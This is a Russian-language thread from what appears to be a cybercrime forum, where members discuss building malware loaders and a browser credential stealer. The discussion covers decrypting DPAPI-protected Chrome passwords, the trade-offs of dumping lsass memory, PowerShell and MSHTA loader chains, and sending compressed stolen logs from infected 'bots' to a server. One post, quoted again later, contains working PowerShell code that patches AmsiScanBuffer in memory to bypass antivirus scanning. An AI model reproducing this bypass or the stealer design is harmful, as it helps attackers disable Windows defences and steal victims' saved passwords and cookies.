Обсуждение лоадеров

Огорчу вас, но и этой методике много лет + с лоу ил не запишешься в реестр, но пробовать надо, почему нет. Врядли кто-то выдумает что-то принципиально новое, винда все таки не неизведанное космическое пространство. Я к тому, что сейчас не 2000 год и все методы инжектов давно известны, как и методы автозапуска, но можно поиграться, что-то поменять, комбинировать. Скажем, на васме обсуждают инжект через АРС, хотя это древнее говно мамонта, но почему-то его снова переоткрыли и юзают..
Все равно находят что-то новое...
К примеру:
Скрытый контент для зарегистрированных пользователей.
 
Я пока вообще ничего не решал. Сейчас пишу стиллер с сервер сайд декриптом. Сбор всевозможных данных с chromium, gecko-based браузеров в 12 КБ кода на ++ уместился. Правда пока хз, как декриптить пароли старого хрома, те что накрыты dpapi, но что-нибудь придумаю. Как закончу, за лоадер возьмусь, наверное.

Еще пару часов посидел и сделал рабочий PoC, который декриптит хромовские пароли накрытые DPAPI на другой машине...
Ну и что скажу... Оно того не стоит, причина - нужно получать хеш который в памяти logon-сессии lsass.exe (читай дампить память процесса)

Это уже код красный.
Лучше делай по старинке.
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Еще пару часов посидел и сделал рабочий PoC, который декриптит хромовские пароли накрытые DPAPI на другой машине...
Ну и что скажу... Оно того не стоит, причина - нужно получать хеш который в памяти logon-сессии lsass.exe (читай дампить память процесса)

Это уже код красный.
Лучше делай по старинке.
У меня есть такая идея:
Бот отправил лог на сервер, ждёт условную минуту ответа. В это время мы обрабатываем лог на сервере, расшифровываем всё что расшифровывается, если находим данные под DPAPI в ответе шлём список зашифрованных данных. Клиент расшифровывает, шлёт на сервер, там мы просто подставляем расшифрованные данные куда нужно. Костыльно достаточно, отложил пока этот момент.
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Ну да. Сеть - по любому кто-то да спалит, хоть как не делай, автозагрузка - тоже , считай, красная тряпка для авера, ну и запуск процесса.. По запуску надо писать нормальный РЕ лоадер, который будет поддерживать современную, так сказать, "малварь" на шарпе и петухоне. Вот в процессе написания такого пе лоадера и найдешь ответ на извечный форумный вопрос "а почему малварь надо кодить на Си, а мне одноклассник говорил что шарп норм..".
могу сказать, что Си до сих пор жив благодаря лишь твоим советам, что малварь на си кодить надо :D. Кста, я с Хаунтом не общался, а чисто твое мнение хочу узнать. Повершелл и малварь - друзья, братство?
 
Пожалуйста, обратите внимание, что пользователь заблокирован
У меня есть такая идея:
Бот отправил лог на сервер, ждёт условную минуту ответа. В это время мы обрабатываем лог на сервере, расшифровываем всё что расшифровывается, если находим данные под DPAPI в ответе шлём список зашифрованных данных. Клиент расшифровывает, шлёт на сервер, там мы просто подставляем расшифрованные данные куда нужно. Костыльно достаточно, отложил пока этот момент.
делаешь дамп Login Data. После sqliteом смотришь на префикс данных. Если префикс как у хрома 80, то заносишь в файл логи/пассы (эти данные на серваке будут дешифрованы), а если старый, то дпапи декриптишь и заносишь, но помечаешь его так, чтоб он на гейте твой ГО его не ломал (не декриптил). Вот как у меня собирает
login: {v10kldsahd9sad} - 80 версии, в серваке парсишь эти данные, аесом декриптишь и вставялешь обртано сюда
password: {v11sdahu99dsahdpaod} - 80 версии в серваке парсишь эти данные, аесом декриптишь и вставялешь обртано сюда

login: test
password: test123 - 80 < версии, уже дпапи.

...

p.s. жду ребятушки ваши варианты. А твой варик отправлять туда-сюда уж костыль еще тот
 
Пожалуйста, обратите внимание, что пользователь заблокирован
делаешь дамп Login Data. После sqliteом смотришь на префикс данных. Если префикс как у хрома 80, то заносишь в файл логи/пассы (эти данные на серваке будут дешифрованы), а если старый, то дпапи декриптишь и заносишь, но помечаешь его так, чтоб он на гейте твой ГО его не ломал (не декриптил). Вот как у меня собирает
login: {v10kldsahd9sad} - 80 версии, в серваке парсишь эти данные, аесом декриптишь и вставялешь обртано сюда
password: {v11sdahu99dsahdpaod} - 80 версии в серваке парсишь эти данные, аесом декриптишь и вставялешь обртано сюда

login: test
password: test123 - 80 < версии, уже дпапи.

...

p.s. жду ребятушки ваши варианты. А твой варик отправлять туда-сюда уж костыль еще тот
Таскать с собой sqlite только для того, чтобы данные с олд хрома собрать?) Глупо
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Еще пару часов посидел и сделал рабочий PoC, который декриптит хромовские пароли накрытые DPAPI на другой машине...
Ну и что скажу... Оно того не стоит, причина - нужно получать хеш который в памяти logon-сессии lsass.exe (читай дампить память процесса)

Это уже код красный.
Лучше делай по старинке.
+++ Почти все софты работают по старинке. Тут например у меня детектов не было
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Таскать с собой sqlite только для того, чтобы данные с олд хрома собрать?) Глупо
опера - просто здравствуй, просто как дела? (у него ща куки 80, а логи и пассы дпапи). Думаю пока, что придется таскать sql парсер (ты же скидывал, так он на винапи и норм пашет же, не?). А потом уже можно дпапи вырезать и норм будет. У тя только тырит браузеры? Не собираешься добавлять свистопердульки? Вродь там wincred, или чет там (не помню) дпапи юзает.
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Повершелл и малварь - друзья, братство?
Честно - не знаю. Тут надо тот же Haunt или еще кто. Я хочу выучить павершелл, но на все не хватает времени. Так то, при своей моей нелюбви к дотнету, признаю что павершелл может обойти защитные решения там, где натив не сможет, т.к. это доверенный процесс винды и в скриптах там черт авер ногу сломит. Но это в теории, а на практике - одни расхваливают, вторые говорят мол амси убивает всю пш-малварь, первые им отвечают, что амси обходится на раз-два.. Короче, не знаю. Но очень хорошие решения на ПШ (лоадер, пе лоадер) я видел.
 
Под павершелл получаеться флоу будет такой:

Лоадер - который загружает лоадер.

Под это можно уже любую комбу
- натив лодырь - который будет запускать пш лодырь
- натив лодырь - который будет запускать MSHTA лодырь (one of JSCript/VBScript etc.)
etc

А по амси это же в основном своем - string based detection, оно же не имеет какой-то задроченной эвристики.

Update:

Короче по амси еще немного -

C#:
$Win32 = @"
using System;
using System.Runtime.InteropServices;
public class Win32 {
    [DllImport("kernel32")]
    public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
    [DllImport("kernel32")]
    public static extern IntPtr LoadLibrary(string name);
    [DllImport("kernel32")]
    public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
}
"@

Add-Type $Win32

$LoadLibrary = [Win32]::LoadLibrary("am" + "si.dll")
$Address = [Win32]::GetProcAddress($LoadLibrary, "Amsi" + "Scan" + "Buffer")
$p = 0
[Win32]::VirtualProtect($Address, [uint32]5, 0x40, [ref]$p)
$Patch = [Byte[]] (0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3)
[System.Runtime.InteropServices.Marshal]::Copy($Patch, 0, $Address, 6)

Все обходы амси обычно сводяться к конструкции выше, т.е. к тому, чтобы пропатчить функции которые отвечают за проверку.
Ну и наркомания на подобии такой: "am" + "si.dll" это обычное дело, вариаций может быть дохрена.

Update 2:
Тут можно бесконечно импрувать - от резолва функций по хешу, до сисколов с павершела...
Ну и важно понимать что все это детектиться с помощью ML-модели, ничего большего из себя не представляет...
 
Последнее редактирование:
Пожалуйста, обратите внимание, что пользователь заблокирован
Честно - не знаю. Тут надо тот же Haunt или еще кто. Я хочу выучить павершелл, но на все не хватает времени. Так то, при своей моей нелюбви к дотнету, признаю что павершелл может обойти защитные решения там, где натив не сможет, т.к. это доверенный процесс винды и в скриптах там черт авер ногу сломит. Но это в теории, а на практике - одни расхваливают, вторые говорят мол амси убивает всю пш-малварь, первые им отвечают, что амси обходится на раз-два.. Короче, не знаю. Но очень хорошие решения на ПШ (лоадер, пе лоадер) я видел.
lefroggy хороший пример, в основном под поврешелл как ты сказал лоадеры для лоадеров пилят, а в остальном буду рад услышать мнение Haunt и других форумчанов
 
делаешь дамп Login Data. После sqliteом смотришь на префикс данных. Если префикс как у хрома 80, то заносишь в файл логи/пассы (эти данные на серваке будут дешифрованы), а если старый, то дпапи декриптишь и заносишь, но помечаешь его так, чтоб он на гейте твой ГО его не ломал (не декриптил). Вот как у меня собирает
login: {v10kldsahd9sad} - 80 версии, в серваке парсишь эти данные, аесом декриптишь и вставялешь обртано сюда
password: {v11sdahu99dsahdpaod} - 80 версии в серваке парсишь эти данные, аесом декриптишь и вставялешь обртано сюда

login: test
password: test123 - 80 < версии, уже дпапи.

...

p.s. жду ребятушки ваши варианты. А твой варик отправлять туда-сюда уж костыль еще тот
Может будет интересно
 
Под павершелл получаеться флоу будет такой:

Лоадер - который загружает лоадер.

Под это можно уже любую комбу
- натив лодырь - который будет запускать пш лодырь
- натив лодырь - который будет запускать MSHTA лодырь (one of JSCript/VBScript etc.)
etc

А по амси это же в основном своем - string based detection, оно же не имеет какой-то задроченной эвристики.

Update:

Короче по амси еще немного -

C#:
$Win32 = @"
using System;
using System.Runtime.InteropServices;
public class Win32 {
    [DllImport("kernel32")]
    public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
    [DllImport("kernel32")]
    public static extern IntPtr LoadLibrary(string name);
    [DllImport("kernel32")]
    public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
}
"@

Add-Type $Win32

$LoadLibrary = [Win32]::LoadLibrary("am" + "si.dll")
$Address = [Win32]::GetProcAddress($LoadLibrary, "Amsi" + "Scan" + "Buffer")
$p = 0
[Win32]::VirtualProtect($Address, [uint32]5, 0x40, [ref]$p)
$Patch = [Byte[]] (0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3)
[System.Runtime.InteropServices.Marshal]::Copy($Patch, 0, $Address, 6)

Все обходы амси обычно сводяться к конструкции выше, т.е. к тому, чтобы пропатчить функции которые отвечают за проверку.
Ну и наркомания на подобии такой: "am" + "si.dll" это обычное дело, вариаций может быть дохрена.

Update 2:
Тут можно бесконечно импрувать - от резолва функций по хешу, до сисколов с павершела...
Ну и важно понимать что все это детектиться с помощью ML-модели, ничего большего из себя не представляет...
Это всё прекрасно, но нужно что-бы амси не спалил момент когда ты его патчишь, в этим я и мопогаю людям :)
 
А по амси это же в основном своем - string based detection, оно же не имеет какой-то задроченной эвристики.
Не совсем, точнее не всегда. В определенные моменты паранойи подрубается дополнительный скан, очень напоминающий api call map, разница в том, что интерпретатор сам кидает на скан посредством amsi канала все залогированные(вызванные ранее) функции. С аргументами. Собранными уже после сборки предикатов обфускации. Режим паранойи подрубается посредством дерганья опасных функций. Без дерганья опасных функций, api call map не строится и не кидает на скан. Это первое. Второе - это scan string detection с упоминанием одного но. Дело в том, что в сам интерпретатор вшит код, который порождает новые вызовы AmsiScanBuffer на каждый новый скриптблок. Со стороны это очень напоминает эмулятор. Когда фактически пш скрипт компилируется, его содержимое летит на скан. Это значит что сколько бы слоев Invoke-Expression ‘some_code_base64/XOR/whatever’ в глубину не было, контент полетит на скан в том виде, который был до энкодинга. Invoke-Obfuscation(единственный паблик пакер для пш) только и делает, что берет весь код, превращает его в строку и засовывает как аргумент в Invoke-Expression или в его алиасы типо iex. А дальше морфит чисто эту строку. По этому он не эффективен.
Ну и важно понимать что все это детектиться с помощью ML-модели, ничего большего из себя не представляет...
Сколько раз это уже слышал, но на деле все наоборот. Ровно также как с советами о том, что писать на нейтиве тру, хотя по факту все наоборот и детекты лезут там, где их быть не должно, в тех местах, что не относятся к вредоносному коду непосредственно.
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Может будет интересно
спасибо, как раз читал. Я оказывается пробовал когда-то перенести дпапи, сверху чувак сказал, что по сути детектов больше будет. И думаю, мой вариант, который я юзаю в своем стилаке +/- норм. (мб кто-нибудь еще предложить, интересно посмотреть)
 
спасибо, как раз читал. Я оказывается пробовал когда-то перенести дпапи, сверху чувак сказал, что по сути детектов больше будет. И думаю, мой вариант, который я юзаю в своем стилаке +/- норм. (мб кто-нибудь еще предложить, интересно посмотреть)
Слать cipher text дату на сервер не самое лучшее решение, в хроме оно весит в десятки раз больше чем plain text, учитывая что повышается траф между клиентом и сервером, софт дольше отрабатывает, больше вероятность срабатывания рантайм детекта, плюс надо учитывать, качество интернета у ботов с микса, надо также писать по умному авто реконнект
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Слать cipher text дату на сервер не самое лучшее решение, в хроме оно весит в десятки раз больше чем plain text, учитывая что повышается траф между клиентом и сервером, софт дольше отрабатывает, больше вероятность срабатывания рантайм детекта, плюс надо учитывать, качество интернета у ботов с микса, надо также писать по умному авто реконнект
Это не совсем проблема. 3 профиля с хрома, с фф 4 около 12 метров весят. Ужимаются до 1 метра тем же zlib. Вот тут более подробный тест нескольких либо для сжатия: https://xss.pro/threads/40638/post-249757
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Слать cipher text дату на сервер не самое лучшее решение, в хроме оно весит в десятки раз больше чем plain text, учитывая что повышается траф между клиентом и сервером, софт дольше отрабатывает, больше вероятность срабатывания рантайм детекта, плюс надо учитывать, качество интернета у ботов с микса, надо также писать по умному авто реконнект
в среднем как сказал Жефс выходит под zlib (я всегда его юзал) 1 мб макс. У меня делает дамп, читает данные как я уже сказал выше, то что дпапи - дпапи, то что 80 записывается как 80. Ключ я просто включаю в txt файл и в zlib. Таким образом, с 6 браузеров под zlib выходит около 50 кб (все данные)
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх